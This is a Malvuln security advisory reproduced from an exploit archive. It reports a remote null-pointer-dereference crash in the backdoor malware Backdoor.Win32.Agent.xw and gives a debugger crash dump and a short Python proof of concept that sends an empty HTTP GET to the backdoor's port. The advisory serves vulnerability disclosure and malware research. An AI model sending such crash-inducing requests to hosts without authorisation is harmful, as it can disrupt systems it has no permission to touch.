## https://sploitus.com/exploit?id=PACKETSTORM:161516
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/ed4242ad0274d3b311d8722f10b3abea.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Agent.xw
Vulnerability: Remote Null Ptr Dereference - Denial of Service
Description: Sending an empty HTTP GET request triggers a null pointer dereference and access violation leading to a crash of the backdoor malware.
Type: PE32
MD5: ed4242ad0274d3b311d8722f10b3abea
Vuln ID: MVID-2021-0107
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 02/23/2021
Memory Dump:
(1264.d0): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=ffffffff edx=00000000 esi=00000003 edi=00000003
eip=7710ed3c esp=0266e844 ebp=0266e9d4 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
7710ed3c c21400 ret 14h
0:002> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
FAULTING_IP:
Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+4ee4
00404ee4 8b420c mov eax,dword ptr [edx+0Ch]
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00404ee4 (Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+0x00004ee4)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 0000000c
Attempt to read from address 0000000c
PROCESS_NAME: Backdoor.Win32.Agent.xw.ed4242ad0274d3b311d8722f10b3abea.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: 0000000c
READ_ADDRESS: 0000000c
FOLLOWUP_IP:
Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+4ee4
00404ee4 8b420c mov eax,dword ptr [edx+0Ch]
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 000000d0
BUGCHECK_STR: APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_ffffffff
PRIMARY_PROBLEM_CLASS: NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff
DEFAULT_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff
LAST_CONTROL_TRANSFER: from 004021f9 to 00404ee4
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
0266f160 004021f9 00000000 0266f220 00411558 Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+0x4ee4
0266f248 770e1659 00000008 00000000 ffffffff Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+0x21f9
0266f288 770e13ee 00000000 770e13ee 00000000 ntdll!RtlpAllocateHeapInternal+0x259
0266f2e8 0040806c 03f204a0 0266f33c 004097f4 ntdll!RtlAllocateHeap+0x3e
0266f2f4 004097f4 0000000b 0266f318 0000000b Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+0x806c
0266f33c 0040f08e 0266fe38 0041079c ffffffff Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+0x97f4
0266f5d0 00401e48 0266fe30 0266f5f8 0266fe30 Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+0xf08e
0266ff80 76198654 03f202d0 76198630 b74a0958 Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+0x1e48
0266ff94 77104a77 03f202d0 35eaa03b 00000000 kernel32!BaseThreadInitThunk+0x24
0266ffdc 77104a47 ffffffff 77129ed6 00000000 ntdll!__RtlUserThreadStart+0x2f
0266ffec 00000000 004073db 03f202d0 00000000 ntdll!_RtlUserThreadStart+0x1b
STACK_COMMAND: ~2s; .ecxr ; kb
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+4ee4
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea
IMAGE_NAME: Backdoor.Win32.Agent.xw.ed4242ad0274d3b311d8722f10b3abea.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 400acf83
FAILURE_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff_c0000005_Backdoor.Win32.Agent.xw.ed4242ad0274d3b311d8722f10b3abea.exe!Unknown
BUCKET_ID: APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_ffffffff_Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+4ee4
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=7001
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
P="GET / HTTP/1.0"
s.send(P)
s.close()
print("Backdoor.Win32.Agent.xw / Null Ptr Dereference DoS")
print("MD5: ed4242ad0274d3b311d8722f10b3abea")
print("By Malvuln");
if __name__=="__main__":
doit()
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